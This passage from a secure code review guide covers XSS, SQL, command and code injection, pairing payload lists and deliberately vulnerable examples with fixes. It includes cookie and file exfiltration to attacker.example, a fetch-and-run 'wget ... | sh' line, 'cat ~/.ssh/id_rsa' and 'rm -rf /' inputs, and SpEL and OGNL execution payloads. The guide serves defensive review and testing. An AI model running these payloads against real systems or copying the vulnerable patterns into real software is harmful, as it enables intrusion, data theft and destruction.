```
// Stored product review returned from API; SPA renders without encoding
async function submitReview(productId, text) {
    await fetch(`/api/products/${productId}/reviews`, {
        method: "POST",
        headers: { "Content-Type": "application/json" },
        body: JSON.stringify({ text }),
    });
}

function renderReviews(reviews) {
    const container = document.getElementById("review-list");
    reviews.forEach((r) => {
        container.innerHTML += `<div class="review">${r.text}</div>`; // persisted payload executes
    });
}
```

HTML

```
<!-- Thymeleaf: stored announcement rendered as raw HTML -->
<div class="announcement" th:utext="${announcement.body}"></div>

<!-- JSP without JSTL escape -->
<c:forEach var="review" items="${reviews}">
    <blockquote class="review">${review.text}</blockquote>
</c:forEach>
```

Go

```
func postReview(w http.ResponseWriter, r *http.Request) {
    text := r.FormValue("text")
    productID := r.FormValue("product_id")
    db.Exec("INSERT INTO reviews (product_id, text) VALUES (?, ?)", productID, text)
    http.Redirect(w, r, "/products/"+productID, http.StatusSeeOther)
}

func listReviews(w http.ResponseWriter, r *http.Request) {
    productID := r.URL.Query().Get("id")
    rows, _ := db.Query("SELECT text FROM reviews WHERE product_id = ?", productID)
    for rows.Next() {
        var text string
        rows.Scan(&text)
        fmt.Fprintf(w, "<blockquote>%s</blockquote>", text) // no html.EscapeString / template
    }
}
```

Fix: Safer Patterns and Libraries to Use

Python

Use templates with auto-escaping enabled. Never mark user content safe unless a vetted sanitizer produced it.

```
from flask import Flask, render_template
from markupsafe import escape

app = Flask(__name__)
app.jinja_env.autoescape = True # default in Flask for .html

@app.route("/support/tickets")
def list_tickets():
    rows = db.execute("SELECT subject, body FROM tickets ORDER BY created_at DESC").fetchall()
    return render_template("tickets.html", tickets=rows)

# Manual encoding when building non-template fragments:
safe_body = escape(row["body"])
```

Important: |safe in Jinja2 disables escaping. Use only for trusted, server-generated HTML. For rich text, sanitize with an allowlist library before optional |safe.

```
import bleach

ALLOWED_TAGS = ["b", "i", "p", "a"]
ALLOWED_ATTRS = {"a": ["href", "title"]}
clean_body = bleach.clean(ticket_body, tags=ALLOWED_TAGS, attributes=ALLOWED_ATTRS, strip=True)
```

Java

Encode at the HTML sink. Prefer JSTL or OWASP Encoder over regex-only input filters.

```
<%@ taglib prefix="c" uri="jakarta.tags.core" %>
<p>Review: <c:out value="${review.text}" /></p>
```

```
import org.owasp.encoder.Encode;

String safe = Encode.forHtml(review.getText());
model.addAttribute("safeReview", safe);
```

Important: Thymeleaf `th:utext` and unescaped JSP scriptlets bypass default protections. Use `th:text` for untrusted data.

C

Razor encodes by default. Avoid `Html.Raw` on persisted fields.

```
@* Safe default encoding *@
<article><h3>@announcement.Title</h3><p>@announcement.Body</p></article>
```

```
using System.Net;

var encoded = WebUtility.HtmlEncode(announcement.Body);
ViewBag.SafeBody = $"<p>{encoded}</p>";
```

For controlled HTML subsets, use a maintained sanitizer such as [HtmlSanitizer](#) with an explicit policy.

Go

Use `html/template`, not `text/template`, for HTML responses.

```
import "html/template"

var reviewTpl = template.Must(template.New("review").Parse(
    `<blockquote class="review">{{.Text}}</blockquote>`))

func showReview(w http.ResponseWriter, text string) {
    reviewTpl.Execute(w, struct{ Text string }{Text: text})
}
```

Important: `html.EscapeString` helps only when you must build strings manually; templates apply context-aware rules automatically.

Reflected XSS {: #reflected }

From former 4-02-review-reflected-xss.md. **Guiding chapter section:** [4.1 - Review XSS § Reflected XSS](#).

4.2 Code Reference — Review Reflected XSS

Attack Payloads

Use these in authorized tests when request parameters are echoed in the immediate HTML response. Craft full URLs for phishing simulations; replace PAYLOAD with the value for the vulnerable parameter.

Pattern 1: Query parameter script injection

```
/login?error=<script>alert(document.domain)</script>  
/reset?msg=<img src=x onerror=alert(1)>  
/oauth/callback?state=<svg/onload=alert(1)>
```

Pattern 2: Attribute context breakout

```
?next="><script>alert(1)</script>  
?return_url=javascript:alert(1)  
?style=' onmouseover='alert(1)
```

Pattern 3: Path or fragment reflection

```
/404?uri=</title><script>alert(1)</script>  
/help/<script>alert(1)</script>
```

Pattern 4: Header or cookie echo

```
Referer: https://evil.example/<script>alert(1)</script>  
Cookie: locale=<img src=x onerror=alert(1)>
```

Pattern 5: Filter bypass variants

```
?error=<ScRiPt>alert(1)</ScRiPt>  
?msg=<img src=x onerror=6#97;lert(1)>  
?hint=<svg><script>alert6#40;16#41;
```


Pattern 6: DOM-based follow-on (when reflection lands in JS)

See [4.3 Review DOM XSS](#) for client-side sources and sinks. Quick test strings when server output is parsed in the browser:

```
?token=';alert(1)//  
?nonce=</script><script>alert(1)</script>  
?jsonp=alert(1)// (JSONP-style sinks)
```

Language-Specific Sinks and Dangerous APIs

Reflected XSS sinks appear wherever request data is written into HTML in the same handler. Trace each parameter to these APIs.

Python (Flask / Jinja2)

```
return f"<p class='error'>{request.args['error']}</p>"  
return render_template_string(f"<div>{reset_msg}</div>")  
return Markup(request.args.get("msg", ""))
```

Java (JSP / servlets)

```
Login failed: <%= request.getParameter("error") %>  
<c:out value="${param.reason}" escapeXml="false"/>  
out.println("Reset link sent to " + request.getParameter("email"));
```

C# (ASP.NET / Razor)

```
return Content($"<p>0Auth error: {Request.Query["error_description"]}</p>", "text/html");  
@Html.Raw(Request.Query["msg"])  
Response.Write(Request["failure_reason"]);
```

JavaScript (Node / Express)

```
res.send(`<p>Invalid token: ${req.query.token}</p>`);  
document.title = location.hash.slice(1);  
res.render("error", { detail: req.query.detail, autoEscape: false });
```

HTML (error pages and static responses)

```
<p>Password reset failed: <!-- reflected error param inserted without encoding --></p>  
<meta http-equiv="refresh" content="0;url=REFLECTED_RETURN_URL">
```

Go

```
fmt.Fprintf(w, "<p>Login error: %s</p>", r.URL.Query().Get("error"))
template.HTML(reflectedMessage) // disables escaping
```

Vulnerable Examples in Other Languages

Java

```
@Override
protected void doGet(HttpServletRequest request, HttpServletResponse response)
    throws ServletException, IOException {
    String reason = request.getParameter("reason");
    request.setAttribute("failureReason", reason);
    request.getRequestDispatcher("/login.jsp").forward(request, response);
}
// login.jsp: <p class="error"><%= request.getAttribute("failureReason") %></p>
```

C

```
public IActionResult ResetPassword(string token, string msg)
{
    ViewBag.StatusMessage = $"Reset failed: {msg}";
    return View();
}
// ResetPassword.cshtml: @Html.Raw(ViewBag.StatusMessage)
```

JavaScript

```
// Reflected OAuth error parameter written into the DOM
const err = new URLSearchParams(location.search).get("error_description") || "";
document.getElementById("oauth-error").innerHTML = `Authorization failed: ${err}`;
```

HTML

```
<!-- JSP echoes password-reset message without encoding -->
<p><%= request.getParameter("msg") %></p>

<!-- 404 handler reflects requested URI -->
<div class="not-found">Page not found: <%= request.getAttribute("uri") %></div>
```

Go

```
func loginError(w http.ResponseWriter, r *http.Request) {
    errMsg := r.URL.Query().Get("error")
    tmpl := `<html><body><h1>Login</h1><p class="alert">{{.Error}}</p></body></html>`
    t := template.Must(template.New("login").Parse(tmpl))
    t.Execute(w, map[string]string{"Error": errMsg}) // text/template, not html/template
}
```

Fix: Safer Patterns and Libraries to Use

Python

Use templates with auto-escaping enabled. Never pass reflected input through Markup() or |safe.

```
from flask import Flask, render_template, request
from markupsafe import escape

app = Flask(__name__)

@app.route("/login")
def login_error():
    error = request.args.get("error", "")
    return render_template("login.html", error=error)

# Manual encoding when building non-template fragments:
safe_error = escape(error)
```

Important: render_template_string with user-influenced template text is both reflected XSS and SSTI risk. Use static template files and pass data as variables.

```
# Validate format when the parameter has a fixed shape (defense in depth):
import re
if not re.fullmatch(r"[a-zA-Z0-9\s.,!~-]{1,128}", error):
    error = ""
```

Java

Encode at the HTML sink. Prefer JSTL or OWASP Encoder over regex-only input filters.

```
<%@ taglib prefix="c" uri="jakarta.tags.core" %>
<p>Login failed: <c:out value="${failureReason}" /></p>
```

```
import org.owasp.encoder.Encode;

String safe = Encode.forHtml(request.getParameter("error"));
model.addAttribute("safeError", safe);
```

Important: Thymeleaf `th:utext` and unescaped JSP scriptlets bypass default protections. Use `th:text` for reflected request data.

C

Razor encodes by default. Avoid `Html.Raw` on request-derived strings.

```
@* Safe default encoding *@
<p class="alert">@Model.ErrorMessage</p>
```

```
using System.Net;

var encoded = WebUtility.HtmlEncode(msg);
ViewBag.SafeMessage = $"Reset failed: {encoded}";
```

For controlled HTML subsets in reflected content, use a maintained sanitizer with an explicit policy.

Go

Use `html/template`, not `text/template`, for HTML responses.

```
import "html/template"

var loginTmpl = template.Must(template.New("login").Parse(
    `

# 


```

Important: `html.EscapeString` helps only when you must build strings manually; templates apply context-aware rules automatically.

DOM XSS {:#dom }

From former 4-03-review-dom-xss.md. **Guiding chapter section:** [4.1 - Review XSS § DOM XSS](#).

4.3 Code Reference — Review DOM XSS

Attack Payloads

Use these in authorized tests when client code reads URL or message data into DOM or JS sinks. Adjust for hash vs query vs postMessage delivery.

Pattern 1: Fragment (`location.hash`) injection

```
https://app.example/welcome#bio=<img src=x onerror=alert(1)>
https://app.example/dashboard#name=<svg/onload=alert(1)>
```

Pattern 2: Query string read by client script

```
https://app.example/oauth/callback?error_description=<script>alert(1)</script>
https://app.example/search?q=<img src=x onerror=alert(1)>
```

Pattern 3: JavaScript string breakout (when sink is `eval` or inline script assignment)

```
#token=';alert(1)//
?json='-alert(1)-'
?name=</script><script>alert(1)</script>
```

Pattern 4: `postMessage` and storage replay

```
// Authorized test in console on target origin
window.postMessage('<img src=x onerror=alert(1)>', '*');
localStorage.setItem('displayName', '<svg/onload=alert(1)>');
```

Pattern 5: `javascript:` and navigation sinks

```
#redirect=javascript:alert(document.domain)
?next=javascript:fetch('https://attacker.example/?c='+document.cookie)
```

Pattern 6: Filter evasion

```
<img src=x onerror=alert&#40;1&#41;>
<svg/onload=alert(1)>
<iframe srcdoc="<script>alert(1)</script>">
```

Language-Specific Sinks and Dangerous APIs

DOM XSS review is dominated by **JavaScript** and **HTML with embedded script**. Search client bundles, inline `<script>` blocks, and template directives.

JavaScript (browser)

```
document.getElementById("out").innerHTML = location.hash.slice(1);
document.write(decodeURIComponent(location.search.slice(1)));
eval("handleRedirect('' + params.get("next") + '')");
setTimeout("showBanner('' + userMsg + '')", 0);
element.outerHTML = incomingHtml;
location.href = redirectParam;
$(container).html(storedSnippet);
```

HTML (inline script and templates)

```
<script>
  const err = new URLSearchParams(location.search).get("error");
  document.getElementById("msg").innerHTML = err;
</script>

<div id="preview" th:utext="${staticShellOnly}"></div>
<!-- Vue/React mount: v-html / dangerouslySetInnerHTML bound to client-fetched JSON -->
```

Python (serving vulnerable client shells)

Python often **hosts** the page rather than performing the sink. Flag routes that embed request data into inline script or disable CSP.

```
return f""""<script>var q = '{request.args.get("q")}';</script>""""
return render_template("app_shell.html") # review bundled JS for DOM sinks
```

Java / C# (SPA hosts and Razor/Thymeleaf shells)

```
// JSP or template passes nothing server-side; static bundle reads location.hash – review .js
assets
model.addAttribute("bootConfigJson", userJson); // if rendered unescaped into <script> block
```

```
// Razor: bootstrapping SPA with unencoded JSON in script tag
<script>window.__INITIAL_STATE__ = @Html.Raw(Model.ClientJson);</script>
```

Go (static file server + template)

```
// html/template is safe for HTML body; unsafe if template injects into <script> without
json.Marshal
fmt.Fprintf(w, `<script>var ref = "%s";</script>`, r.URL.Query().Get("ref"))
```

Vulnerable Examples in Other Languages

Java

```
// Boot page includes script that reads query string on client – audit static resources under /
js/
// Server-side anti-pattern: embedding request param in script literal
String script = "<script>var err='" + request.getParameter("err") + "';</script>";
response.getWriter().write(script);
```

C

```
// Razor bootstraps client error display from query without encoding in JS context
@Html.Raw($"<script>document.getElementById('e').innerHTML = '{Request.Query["msg"]}';</script>")
```

JavaScript

```
window.addEventListener("message", (event) => {
  // Missing strict origin check; writes untrusted HTML
  document.getElementById("widget").innerHTML = event.data.html;
});

function renderHighlight(term) {
  const q = new URLSearchParams(location.search).get("q");
  results.innerHTML = `<mark>${q}</mark> ${term}`; // q from URL
}
```

HTML

```
<!DOCTYPE html>
<html>
<body>
  <div id="status"></div>
  <script>
    const status = localStorage.getItem("lastStatus") || "";
    document.getElementById("status").innerHTML = status;
  </script>
</body>
</html>
```

Go

```
func bootPage(w http.ResponseWriter, r *http.Request) {
    ref := r.URL.Query().Get("ref")
    // Injecting into script/HTML without encoding – often paired with client-side use
    fmt.Fprintf(w, `<html><body><script>window.__ref="%s";</script></body></html>`, ref)
}
```

Fix: Safer Patterns and Libraries to Use

JavaScript

Prefer text APIs and framework-default escaping. Never assign URL or message data to innerHTML.

```
const params = new URLSearchParams(location.hash.slice(1));
const bio = params.get("bio") || "";
const el = document.getElementById("bio");
el.textContent = bio; // safe for HTML body text display

// Or build nodes explicitly:
const span = document.createElement("span");
span.textContent = bio;
el.replaceChildren(span);
```

Important: When you must render a subset of HTML, use a maintained allowlist sanitizer (for example DOMPurify) and still avoid passing URL fragments directly without validation.

```
import DOMPurify from "dompurify";
el.innerHTML = DOMPurify.sanitize(bio, { ALLOWED_TAGS: ["b", "i", "p"] });
```

For postMessage, verify origin strictly and treat payload as data, not HTML.

```
window.addEventListener("message", (event) => {
    if (event.origin !== "https://trusted.example") return;
    document.getElementById("widget").textContent = String(event.data.text ?? "");
});
```

HTML / SPA frameworks

Use default text bindings; avoid HTML bindings for untrusted data.


```
// React – safe default
<div>{bio}</div>

// Only with sanitized HTML:
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(bio) }} />
```

```
<!-- Vue – prefer {{ bio }} over v-html for user content -->
<p>{{ bio }}</p>
```

Python

Do not embed request parameters in inline script literals. Serve static shells with strict CSP and review bundled JS.

```
@app.route("/welcome")
def welcome():
    return render_template("welcome.html") # no inline interpolation of request params
```

Pass initial state as JSON with `json.dumps` and `application/json` script type, or use a dedicated API—never raw string concat into `<script>`.

```
import json
from markupsafe import Markup

safe_json = Markup(json.dumps({"bio": ""})) # server-controlled only
return render_template("welcome.html", boot=safe_json)
```

Important: `json.dumps` for `<script type="application/json">` blocks is for **server-controlled** data. Client-side code must still avoid writing URL-derived data to DOM sinks.

Java / C

Avoid `Html.Raw` / unescaped script bootstrapping of request data. Use encoded JSON blobs and parse with `JSON.parse` on static structure, or keep error text in the HTML body via normal encoding (`th:text`, Razor `@Model.Msg`).

Go

Use `html/template` for HTML and `json.Marshal` for script bootstrap data—never `fmt.Fprintf` of query params into `<script>`.

4.2 Code Reference — Review Interpreter Injection

SQL injection {: #sql }

From former 4-04-review-sql-injection.md. **Guiding chapter section:** [4.2 - Review Interpreter Injection § SQL injection](#).

4.4 Code Reference — Review SQL Injection

Attack Payloads

Use these in authorized tests against login, search, and filter parameters. Syntax varies by database engine —confirm the backend before relying on a single payload.

Pattern 1: Authentication bypass (string context)

```
admin'--  
' OR '1'='1'--  
' OR 1=1 LIMIT 1--  
guest' OR 'x'='x
```

Pattern 2: Comment termination

```
'; DELETE FROM audit_log WHERE '1'='1  
report' /* */ OR 1=1--  
# MySQL comment on filter value
```

Pattern 3: UNION-based extraction

```
' UNION SELECT email, api_key FROM integrations--  
' UNION SELECT NULL, column_name FROM information_schema.columns--
```

Pattern 4: Boolean-based blind

```
' AND (SELECT COUNT(*) FROM users)>0--  
' AND (SELECT SUBSTRING(api_key,1,1) FROM secrets LIMIT 1)='a'--  
' AND 1=2--
```

Pattern 5: Time-based blind

```
'; WAITFOR DELAY '0:0:5';--  
' OR IF(1=1,BENCHMARK(5000000,SHA1('x')),0)--  
'; SELECT pg_sleep(5);--
```

Pattern 6: Stacked queries (when supported)

```
'; UPDATE orders SET total=0 WHERE id=1;--
```

Language-Specific Sinks and Dangerous APIs

Python

```
cursor.execute(f"SELECT * FROM orders WHERE status = '{status}' ORDER BY {sort_col}")  
cursor.execute("SELECT * FROM reports WHERE region = '%s'" % region)  
db.engine.execute("SELECT ... WHERE created_at > " + start_date)  
Model.objects.raw(f"SELECT ... {filter_clause}")  
session.execute(text(f"SELECT ... ORDER BY {user_sort}"))
```

ORM escape hatches: `.extra(order_by=...)`, `RawSQL`, `connection.cursor().execute(string)`.

Java

```
stmt.executeQuery("SELECT * FROM invoices WHERE customer = '" + customer + "'");  
PreparedStatement ps = conn.prepareStatement("SELECT * FROM sales ORDER BY " + sortColumn);  
entityManager.createNativeQuery("... WHERE " + userFilter);
```

MyBatis: `${column}` in XML mappers (unsafe interpolation) vs `#{column}` (bound).

C

```
cmd.CommandText = $"SELECT * FROM Reports WHERE Region = '{region}' ORDER BY {sort}";  
context.Database.ExecuteSqlRaw($"DELETE FROM exports WHERE id = {exportId}");  
FromSqlRaw($"SELECT * FROM metrics WHERE {userClause}");
```

Dapper: only safe when SQL uses `@param` with object properties—not string-built SQL.

JavaScript

```
db.query(`SELECT * FROM events WHERE type = '${req.query.type}' ORDER BY ${req.query.sort}`);
connection.query("SELECT * FROM logs WHERE level = '" + level + "'");
knex.raw(`SELECT * FROM shipments WHERE ${userWhere}`);
```

Go

```
db.Query(fmt.Sprintf("SELECT * FROM orders WHERE region = '%s'", region))
db.Exec("SELECT * FROM reports ORDER BY " + sortCol)
```

SQL (dynamic fragments in migrations, reports, BI tools)

```
EXEC('SELECT * FROM sales WHERE quarter = ''' + @quarter + ''' ORDER BY ' + @sortCol);
ORDER BY @userSortColumn; -- identifier injection if not allowlisted
```

C

```
sprintf(query, "SELECT * FROM audit WHERE id = %s ORDER BY %s", audit_id, sort_col);
sqlite3_exec(db, query, ...);
```

Vulnerable Examples in Other Languages

Java

```
public List<Order> exportByRegion(String region, String sortColumn) throws SQLException {
    String sql = "SELECT id, total, region FROM orders WHERE region = '"
        + region + "' ORDER BY " + sortColumn;
    Statement stmt = connection.createStatement();
    ResultSet rs = stmt.executeQuery(sql);
    return mapOrders(rs);
}
```

C

```
public IEnumerable<ReportRow> GetReport(string region, string sort)
{
    var sql = $"SELECT id, amount FROM sales WHERE region = '{region}' ORDER BY {sort}";
    using var cmd = new SqlCommand(sql, _connection);
    using var reader = cmd.ExecuteReader();
    return MapRows(reader);
}
```

SQL

```
-- Dynamic report SQL built inside the database (concatenated parameters)
CREATE PROCEDURE dbo.ExportSales @region NVARCHAR(64), @sort NVARCHAR(64)
AS
BEGIN
    DECLARE @sql NVARCHAR(MAX) =
        N'SELECT id, amount FROM sales WHERE region = ''' + @region
        + N''' ORDER BY ' + @sort;
    EXEC(@sql);
END;
```

```
-- Second-order: stored filter value breaks a later batch query
SELECT * FROM exports
WHERE criteria LIKE '%' + (SELECT saved_filter FROM user_prefs WHERE id = @uid) + '%';
```

Go

```
func exportOrders(db *sql.DB, region, sortCol string) ([]Order, error) {
    query := fmt.Sprintf(
        "SELECT id, total FROM orders WHERE region = '%s' ORDER BY %s",
        region, sortCol,
    )
    rows, err := db.Query(query)
    if err != nil {
        return nil, err
    }
    defer rows.Close()
    return scanOrders(rows)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Use DB-API parameterized queries or ORM filters. Never interpolate user strings into SQL text.

```
@app.route("/reports/export")
def export_report():
    region = request.args.get("region", "")
    sort = request.args.get("sort", "created_at")
    cursor = db.cursor()
    cursor.execute(
        "SELECT id, total, region FROM orders WHERE region = ? ORDER BY created_at",
        (region,),
    )
    return jsonify(cursor.fetchall())
```

```
# SQLAlchemy – prefer ORM filters or bound text():
from sqlalchemy import text

session.execute(
    text("SELECT id, total FROM orders WHERE region = :region ORDER BY created_at"),
    {"region": region},
)
```

Important: Dynamic column or table names cannot use ? placeholders. Map user choices to a fixed allowlist before query assembly.

```
ALLOWED_SORT = {"created_at", "total", "region"}
sort = request.args.get("sort", "created_at")
if sort not in ALLOWED_SORT:
    sort = "created_at"
cursor.execute(f"SELECT id, total, region FROM orders ORDER BY {sort}") # sort is allowlisted only
```

Java

Bind user values with PreparedStatement setters.

```
String sql = "SELECT id, total FROM orders WHERE region = ? ORDER BY created_at";
PreparedStatement ps = connection.prepareStatement(sql);
ps.setString(1, region);
ResultSet rs = ps.executeQuery();
```

```
// Spring JdbcTemplate
jdbcTemplate.query(
    "SELECT id, amount FROM sales WHERE region = ?",
    rs -> mapRow(rs),
    region
);
```

Important: In MyBatis, #{ } binds safely; \${ } performs string substitution and is unsafe for user input.

C

Use ADO.NET parameters with @param placeholders.

```
var sql = "SELECT id, amount FROM sales WHERE region = @region";
using var cmd = new SqlCommand(sql, _connection);
cmd.Parameters.AddWithValue("@region", region);
using var reader = cmd.ExecuteReader();
```

```
// Entity Framework Core – prefer LINQ:
var rows = _db.Sales.Where(s => s.Region == region).OrderBy(s => s.CreatedAt);
```

Important: FromSqlRaw with string interpolation is unsafe. Use FromSqlRaw with explicit SqlParameter objects or LINQ.

Go

Use database/sql placeholders. Never build query strings with user input.

```
row := db.QueryRow("SELECT id, total FROM orders WHERE region = ?", region)
```

```
// sqlx named query
query := `SELECT id, amount FROM sales WHERE region = :region`
rows, err := db.NamedQuery(query, map[string]interface{}{"region": region})
```

Important: GORM Raw(fmt.Sprintf(...)) with user input is equivalent to concatenation. Use chain methods or bound arguments.

Command injection {:#command }

From former 4-05-review-command-injection.md. **Guiding chapter section:** [4.2 - Review Interpreter Injection § Command injection](#).

4.5 Code Reference — Review Command Injection

Attack Payloads

Use these payloads in security tests when a parameter reaches a shell or shell=True subprocess. Replace TARGET with the vulnerable parameter (hostname, filename, report id, etc.).

Pattern 1: Command separator (;)

```
INPUT=sample.wav; id
INPUT=logo.png; cat /etc/passwd
```

Becomes: ffmpeg -i sample.wav; id -f mp3 out.mp3 when embedded in a shell string.

Pattern 2: Pipes and logical operators (|, ||, &&)

```
INPUT=clip.mp4 | whoami
INPUT=doc.pdf && curl https://attacker.example/exfil
INPUT=false || wget -O- https://attacker.example/s.sh | sh
```

Pattern 3: Command substitution (`cmd`, \$(cmd))

```
INPUT=$(id)
INPUT=`cat ~/.ssh/id_rsa`
```

Pattern 4: Newline and argument injection

```
INPUT=clip.mp4%0aid
INPUT=-y -i x; id
```

Some parsers treat %0a or embedded newlines as extra commands when input is passed to `sh -c`.

Pattern 5: Path and flag injection (non-shell argv)

Even without a shell, extra argv tokens may be injected when the app splits poorly:

```
filename=report.pdf;rm -rf /
filename=--output=/tmp/pwned
```

Language-Specific Sinks and Dangerous APIs

Search the codebase for these call patterns. Any path that concatenates or interpolates user input into the command or enables a shell is a review priority.

Python

```
import os, subprocess

os.system(user_input)
os.popen(f"ffmpeg -i {filename} out.mp3")
subprocess.call(f"tar czf {archive_name} uploads/", shell=True)
subprocess.run(cmd_string, shell=True) # cmd_string contains user data
subprocess.check_output(user_cmd, shell=True)
asyncio.create_subprocess_shell(user_cmd)
```

Also review wrappers: `fabric`, `plumbum`, `invoke.run(..., shell=True)`.

Java

```
Runtime.getRuntime().exec("ping -c 3 " + host);
Runtime.getRuntime().exec(new String[]{"bin/sh", "-c", "ping " + host});
new ProcessBuilder("/bin/sh", "-c", userCmd).start();
```

ProcessBuilder is safe only when **each argument is fixed or allowlisted**—not when user data is inside `-c` strings.

C

```
Process.Start("cmd.exe", $"/c ping {host}");
Process.Start(new ProcessStartInfo { FileName = "sh", Arguments = $"-c \"{userCmd}\"" });
```

Avoid `UseShellExecute = true` with user-influenced Arguments.

JavaScript (Node.js)

```
const { exec, execSync, spawn } = require('child_process');
exec(`ping -c 3 ${req.query.host}`);
execSync(userCmd);
spawn(userCmd, { shell: true });
```

Go

```
exec.Command("sh", "-c", "ping -c 3 "+host).Run()
exec.Command(userBinary, userArgs...).Run() // userArgs contains ; if split wrong
```

Shell (scripts invoked by the app)

```
ping -c 3 "$host"          # host='x; id'
convert "$file"           # unquoted: convert $file
eval "$user_filter"
```

C

```
system(user_buffer);
popen(cmd_line, "r");
execl("/bin/sh", "sh", "-c", constructed, NULL);
```

Vulnerable Examples in Other Languages

Java

```
public void resizeImage(String userFilename) throws IOException {
    // User supplies "../etc/passwd; id" as "filename"
    String[] cmd = { "/bin/sh", "-c", "convert uploads/" + userFilename + " -resize 50%
out.png" };
    Runtime.getRuntime().exec(cmd);
}
```

C

```
public string RunTraceroute(string target)
{
    var psi = new ProcessStartInfo("cmd.exe", $"/c tracert {target}")
    {
        RedirectStandardOutput = true,
        UseShellExecute = false
    };
    using var proc = Process.Start(psi);
    return proc.StandardOutput.ReadToEnd();
}
```

Shell

```
#!/bin/bash
# CGI or cron wrapper: host comes from query string / env
host="$QUERY_HOST"
ping -c 3 "$host"    # host=127.0.0.1; id
```

```
# One-liner invoked from app code: nslookup example.com; cat /etc/passwd
nslookup $1
```

Go

```
func cloneRepo(w http.ResponseWriter, r *http.Request) {
    repo := r.FormValue("repo_url") // https://x.com/a.git; curl attacker.com/s.sh|sh
    cmd := exec.Command("git", "clone", repo, "/tmp/work")
    out, _ := cmd.CombinedOutput()
    w.Write(out)
}
```

Fix: Safer Patterns and Libraries to Use

Python

Invoke binaries with an argument list. Never pass user input through a shell.

```
import re
import subprocess

FILENAME_PATTERN = re.compile(r"^[a-zA-Z0-9._-]{1,128}$")

@app.route("/media/transcode")
def transcode():
    filename = request.args.get("file", "")
    if not FILENAME_PATTERN.fullmatch(filename):
        return "Invalid filename", 400
    src = os.path.join("/var/uploads", filename)
    output = subprocess.run(
        ["ffmpeg", "-y", "-i", src, "-f", "mp3", "/tmp/out.mp3"],
        check=True,
        capture_output=True,
        timeout=60,
    )
    return output.stdout
```

Important: `shlex.quote` is a secondary defense only. Prefer argv lists and strict allowlists over quoting into shell strings.

```
# Prefer native libraries when possible:
from pydub import AudioSegment
AudioSegment.from_file(src).export("/tmp/out.mp3", format="mp3")
```

Java

Use `ProcessBuilder` with a fixed binary path and separate arguments.

```
public void pingHost(String hostname) throws IOException, InterruptedException {
    if (!hostname.matches("[a-zA-Z0-9.-]{1,253}")) {
        throw new IllegalArgumentException("Invalid host");
    }
    ProcessBuilder pb = new ProcessBuilder("ping", "-c", "3", hostname);
    pb.redirectErrorStream(true);
    Process p = pb.start();
    p.waitFor();
}
```

Important: Never embed user input in `-c` command strings. Each argument must be a separate list element.

C

Use `ProcessStartInfo.ArgumentList` instead of `/c` command strings.

```
public string RunPing(string target)
{
    if (!Regex.IsMatch(target, @"^[a-zA-Z0-9.-]{1,253}$"))
        throw new ArgumentException("Invalid host");

    var psi = new ProcessStartInfo
    {
        FileName = "ping",
        RedirectStandardOutput = true,
        UseShellExecute = false
    };
    psi.ArgumentList.Add("-c");
    psi.ArgumentList.Add("3");
    psi.ArgumentList.Add(target);
    using var proc = Process.Start(psi);
    return proc!.StandardOutput.ReadToEnd();
}
```

Important: Avoid `UseShellExecute = true` when user-influenced arguments are involved.

Go

Pass arguments separately. Never use `sh -c` with concatenated user input.

```
var hostPattern = regexp.MustCompile(`^[a-zA-Z0-9.-]{1,253}$`)

func pingHandler(w http.ResponseWriter, r *http.Request) {
    host := r.URL.Query().Get("host")
    if !hostPattern.MatchString(host) {
        http.Error(w, "invalid host", http.StatusBadRequest)
        return
    }
    cmd := exec.Command("ping", "-c", "3", host)
    out, err := cmd.CombinedOutput()
    if err != nil {
        http.Error(w, "ping failed", http.StatusInternalServerError)
        return
    }
    w.Write(out)
}
```

Important: Set context timeouts on subprocess calls to limit abuse windows.

Code injection {:#code }

From former 4-06-review-code-injection.md. **Guiding chapter section:** [4.2 - Review Interpreter Injection § Code injection](#).

4.6 Code Reference — Review Code Injection

Attack Payloads

Use these in authorized tests when user input reaches an evaluator. Replace TARGET with the vulnerable parameter. Confirm the runtime language before relying on a single payload.

Pattern 1: Python rule-engine expression injection

```
eval(user_formula) # user_formula = "__import__('os').system('whoami')"
```

Pattern 1b: exec on workflow snippet from JSON

```
exec(config["on_complete_hook"], globals())
```

Pattern 2: JavaScript / Node eval

```
process.mainModule.require('child_process').execSync('id')
global.process.mainModule.require('fs').readFileSync('/etc/passwd')
Function('return this')().constructor.constructor('return process')
().mainModule.require('child_process').exec('id')
```

Pattern 3: Java ScriptEngine / Groovy

```
java.lang.Runtime.getRuntime().exec("id")
new java.util.Scanner(new java.io.File("/etc/passwd")).useDelimiter("\\A").next()
```

Pattern 4: Spring SpEL

```
T(java.lang.Runtime).getRuntime().exec('id')
#{T(java.lang.Runtime).getRuntime().exec('id')}
${T(java.lang.Runtime).getRuntime().exec('id')}
```

Pattern 5: OGNL (Struts-style)

```
(#rt=@java.lang.Runtime@getRuntime()).(#rt.exec('id'))  
(@java.lang.Runtime@getRuntime()).exec('id'))
```

Pattern 6: Deserialization and unsafe loaders (code execution paths)

```
pickle.loads(user_bytes)  
yaml.load(user_yaml) # PyYAML unsafe
```

Language-Specific Sinks and Dangerous APIs

Search for evaluation primitives that compile or execute user-supplied strings. Any path that concatenates request data into expression text is a review priority.

Python

```
result = eval(user_expr)  
exec(user_code)  
compile(user_snippet, "<string>", "exec")  
pickle.loads(request.data)  
yaml.load(body) # without Loader=SafeLoader
```

Java

```
ScriptEngine engine = new ScriptEngineManager().getEngineByName("javascript");  
engine.eval(userRule);  
ExpressionParser parser = new SpelExpressionParser();  
parser.parseExpression(userInput).getValue();  
Ognl.getValue(userExpr, context);
```

C

```
CSharpScript.EvaluateAsync(userCode);  
Microsoft.JScript.Eval.JScriptEvaluate(userExpr, engine);  
Assembly.Load(userAssemblyBytes);
```

JavaScript

```
eval(req.body.expr);  
new Function(userCode)();  
vm.runInNewContext(userSnippet);  
require('vm').runInThisContext(userInput);
```

Go

```
// Less common – review plugin/script hooks and text/template misuse:
plugin.Open(userPath)
text/template.Must(template.New("t").Parse(userTemplate)).Execute(w, data)
```

Shell (embedded interpreters)

```
python3 -c "$user_expr"
node -e "$user_js"
ruby -e "$user_ruby"
```

Vulnerable Examples in Other Languages

Java

```
public boolean evaluateWorkflowRule(String userRule, Map<String, Object> ctx)
    throws ScriptException {
    ScriptEngine engine = new ScriptEngineManager().getEngineByName("groovy");
    String expression = "status == 'approved' && " + userRule;
    return (Boolean) engine.eval(expression, new SimpleBindings(ctx));
}
```

C

```
public decimal EvaluateShippingFormula(string userFormula, decimal weight)
{
    var engine = new Microsoft.ClearScript.V8.V8ScriptEngine();
